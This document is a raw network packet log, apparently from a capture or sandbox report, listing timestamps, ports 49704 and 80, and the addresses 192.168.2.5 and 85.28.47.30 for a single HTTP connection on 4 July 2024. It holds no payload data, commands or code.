Jul 4, 2024 22:20:30.449985027 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.450329065 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450342894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450352907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450364113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450376987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450386047 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.450386047 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.450387955 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450400114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450423002 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.450436115 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.450504065 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.450834990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450845957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450855970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450865984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450872898 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.450877905 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450889111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450901031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450903893 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.450903893 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.450911999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450925112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.450948954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.450948954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.450973034 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.451476097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.451487064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.451495886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.451510906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.451522112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.451533079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.451544046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.451554060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.451565027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.451576948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.451587915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.451598883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.451610088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.451811075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.452493906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452505112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452514887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452527046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452538013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452547073 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.452548027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452559948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452569962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452580929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452584028 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.452593088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452604055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452615023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452625036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452630997 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.452630997 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.452636003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452647924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452661037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.452675104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.452675104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.452713013 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.452713013 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.453392982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.453404903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.453413963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.453424931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.453433990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.453444958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.453455925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.453466892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.453478098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.453488111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.453499079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.453510046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.453521013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.453773022 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.454287052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.454298019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.454308033 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.454319954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.454329967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.454340935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.454344988 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.454351902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.454359055 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.454369068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.454380035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.454389095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.454391956 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.454401970 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.454402924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.454415083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.454425097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.454436064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.454449892 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.454461098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.454492092 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.455360889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.455373049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.455384016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.455394030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.455403090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.455415010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.455425024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.455435991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.455437899 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.455446959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.455460072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.455462933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.455471992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.455482960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.455493927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.455493927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.455493927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.455518007 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.455530882 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.456068039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.456079960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.456089973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.456103086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.456115961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.456118107 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.456129074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.456136942 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.456140995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.456152916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.456180096 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.456203938 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.543030024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.543090105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.543100119 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.543106079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.543170929 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.543246031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.543256044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.543267012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.543299913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.543329000 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.543399096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.543411016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.543421030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.543442011 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.543461084 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.543632984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.543643951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.543653965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.543663979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.543682098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.543723106 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.543931961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.543942928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.543993950 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.543993950 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.546003103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.546062946 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.546134949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.546226978 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.546448946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.546494007 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.546587944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.546644926 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.546716928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.546778917 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.546864986 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.546876907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.546914101 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.546914101 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.547010899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.547023058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.547055006 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.547097921 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.548871040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.548882961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.548892975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.548904896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.548914909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.548924923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.548935890 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.548959017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.548959017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549002886 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549036026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549056053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549065113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549079895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549091101 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549097061 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549097061 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549102068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549113035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549124002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549134016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549140930 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549140930 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549144983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549158096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549170017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549180031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549189091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549192905 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549200058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549211025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549221992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549231052 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549231052 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549232006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549242973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549254894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549258947 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549269915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549282074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549289942 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549289942 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549292088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549304008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549319029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549329042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549330950 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549339056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549350023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549352884 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549360037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549371004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549381018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549392939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549396038 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549396038 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549407959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549418926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549429893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549439907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549439907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549439907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549451113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549462080 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549477100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.549488068 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549489021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549591064 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.549987078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.550004005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.550014973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.550025940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.550034046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:30.550045013 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.550146103 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.663964987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:30.862345934 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.039604902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.039619923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.039630890 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.039690018 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.039747000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.039760113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.039796114 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.039932013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.039943933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.039956093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.039968014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.039972067 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.039980888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.040000916 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.040025949 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.040236950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.040250063 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.040277004 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.040302038 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.040436029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.040446997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.040457964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.040472984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.040473938 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.040493011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.040496111 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.040508032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.040519953 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.040528059 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.040534973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.040543079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.040555000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.040564060 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.040579081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.040601015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.040903091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.040952921 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.041076899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041089058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041100025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041112900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041122913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.041126013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041140079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041147947 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.041152954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041165113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041168928 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.041177988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041189909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041192055 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.041214943 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.041238070 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.041594028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041606903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041640997 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.041753054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041776896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041788101 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041795015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.041800022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041812897 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041817904 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.041824102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041836977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041840076 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.041850090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041862011 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.041862965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041877985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.041887045 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.041903019 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.041927099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.042277098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.042310953 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.042341948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.042359114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.042373896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.042380095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.042395115 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.042397976 CEST	49704	80	192.168.2.5	85.28.47.30
